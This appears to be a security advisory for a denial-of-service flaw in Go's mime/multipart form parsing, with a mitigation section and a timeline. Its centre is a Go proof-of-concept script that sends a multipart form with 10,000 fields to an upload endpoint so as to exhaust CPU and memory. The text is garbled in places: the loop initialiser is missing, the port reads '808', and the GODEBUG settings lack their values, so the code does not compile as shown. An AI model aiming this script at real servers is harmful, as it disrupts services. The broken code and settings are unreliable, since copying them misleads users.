A security vulnerability has been discovered in mime/multipart package that can lead to high CPU and memory resource consumption, potentially causing a denial of service. The vulnerability arises from problems with the way multipart form inputs containing a large number of parts are parsed. The affected functions include mime/multipart.Reader.ReadForm, net/http.Request.FormFile, net/http.Request.FormValue, net/http.Request.ParseMultipartForm, and net/http.Request.PostFormValue.

Details

When parsing multipart forms with a large number of parts, several problems contribute to increased resource consumption:

1. mime/multipart.Reader.ReadForm has a limit on the total memory it can consume, but it can underestimate the amount of memory used, potentially allowing larger inputs than intended.
2. Limiting memory does not account for the additional burden on the garbage collector caused by many small allocations in forms with numerous parts.
3. ReadForm can allocate a significant number of short-lived buffers, which further increases the load on the garbage collector.

As a result, an attacker could potentially exploit this vulnerability to cause a program that parses multipart forms to consume excessive amounts of CPU and memory, resulting in a denial of service.

Here's a code snippet that demonstrates the vulnerability

package main

import (
	"bytes"
	"fmt"
	"mime/multipart"
	"net/http"
)

func main() {
	url := "http://localhost:808/upload";
	method := "POST"

	payload := &bytes.Buffer{}
	writer := multipart.NewWriter(payload)

	for i := ; i < 10000; i++ {
		formField, err := writer.CreateFormField(fmt.Sprintf("field%d", i))
		if err != nil {
			fmt.Println(err)
			return
		}
		_, err = formField.Write([]byte("text"))
		if err != nil {
			fmt.Println(err)
			return
		}
	}

	err := writer.Close()
	if err != nil {
		fmt.Println(err)
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest(method, url, payload)

	if err != nil {
		fmt.Println(err)
		return
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())
	res, err := client.Do(req)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer res.Body.Close()
}

References

- Go issue tracking the vulnerability
- Go security advisory

Mitigation

The vulnerability has been fixed by improving ReadForm's memory consumption estimation and by reducing short-lived allocations. Moreover, the corrected mime/multipart.Reader now imposes limits on the size of parsed forms:

1. Forms parsed with ReadForm cannot have more than 1,000 parts. This limit can be adjusted using the GODEBUG environment variable, as follows: "GODEBUG=multipartmaxparts=".
2. Form parts parsed with NextPart and NextRawPart cannot have more than 10,000 header fields. Additionally, forms parsed with ReadForm cannot have more than 10,000 header fields across all parts. This limit can be adjusted using the GODEBUG environment variable, as follows: "GODEBUG=multipartmaxheaders=".

To protect your applications, update to the latest version of the Go runtime and ensure that you apply these limits or adjust them according to your specific requirements.

Timeline

Published on: 04/06/2023 16:15:00 UTC
Last modified on: 04/17/2023 16:53:00 UTC